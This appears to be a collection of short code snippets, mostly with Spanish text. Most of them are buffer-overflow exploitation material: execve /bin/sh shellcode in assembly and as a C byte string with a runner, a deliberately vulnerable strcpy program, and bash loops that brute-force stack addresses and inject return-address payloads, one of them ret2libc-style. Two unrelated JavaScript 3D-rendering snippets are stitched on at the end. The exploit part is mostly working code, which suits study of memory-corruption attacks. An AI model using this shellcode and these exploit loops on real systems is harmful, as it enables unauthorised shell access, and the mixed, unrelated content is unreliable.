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.code32 | |
.section .text | |
.globl _start | |
_start: | |
jmp truco | |
inicio: | |
pop %esi | |
xorl %eax, %eax | |
movb %al, 0x07(%esi) |
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section .text | |
global _start | |
_start: | |
jmp truco | |
inicio: | |
pop ESI | |
xor EAX, EAX | |
mov [ESI + 7], AL | |
mov AL, 0Bh |
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char shellcode[] = "\xeb\x14\x5e\x31\xc0\x88\x46\x07\xb0\x0b\x89\xf3\x31\xc9\x31\xd2\xcd\x80\xb0\x01\xcd\x80\xe8\xe7\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68" ; | |
void main(){ | |
void (*fp) (void); | |
fp = (void *)&shellcode; | |
fp(); | |
} |
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#!/bin/bash | |
max=255 | |
for i in `seq 214 $max` | |
do | |
for j in `seq 0 $max` | |
do | |
hex=`printf "%02x" $i` | |
hex1=`printf "%02x" $j` | |
echo "probando direccion: 0xffff$hex$hex1" |
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#include <stdlib.h> | |
#include <stdio.h> | |
#include <string.h> | |
int main(int argc, char **argv) | |
{ | |
if (argc < 3){ | |
printf("uso: %s variable_entorno programa_vulnerable\n", argv[0]); | |
return 0; | |
} |
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#!/bin/sh | |
for i in `seq 1 200`; | |
do | |
echo "Número de intentos: $i" | |
./name `python -c "print 'A'*44 + '\xbc\x6c\xb5\xff'"` | |
done |
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#include <stdio.h> | |
#include <string.h> | |
#include <stdlib.h> | |
void func(char *arg) | |
{ | |
char name[32]; | |
strcpy(name, arg); | |
printf("Bienvenido %s\n", name); | |
} |
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#!/bin/sh | |
for i in `seq 1 2000`; | |
do | |
echo "Número de intentos: $i" | |
./name `python -c "print 'A'*44 + '\x70\x83\x04\x08' + '\x90\x83\x04\x08' + '\x3e\x73\xf3\xff' "` | |
done |
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earthMaterial = new AL3D.BlinnMaterial({shininess : 128, diffuse : 0xFFAAAAAA, specular : 0xffffffff, shading : AL3D.PhongInterpolation, texture: './res/color-map.jpg', specularMap: './res/specular-map.jpg', normalMap: './res/normal-map1.jpg'}); | |
earth = new AL3D.Mesh.createSphere({radius: 1, height : 2, material : earthMaterial}); | |
earth.position = new ALMath.Vector3(0,0,-2); |
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renderer = new AL3D.Renderer(window.innerWidth,window.innerHeight); | |
camera = new AL3D.PerspectiveCamera(40, window.innerWidth/window.innerHeight); | |
scene = new AL3D.Scene(); | |
scene.add(mesh); | |
scene.add(light); | |
renderer.addEffect(new AL3D.GreyScaleEffect()); | |
renderer.render(scene, camera); |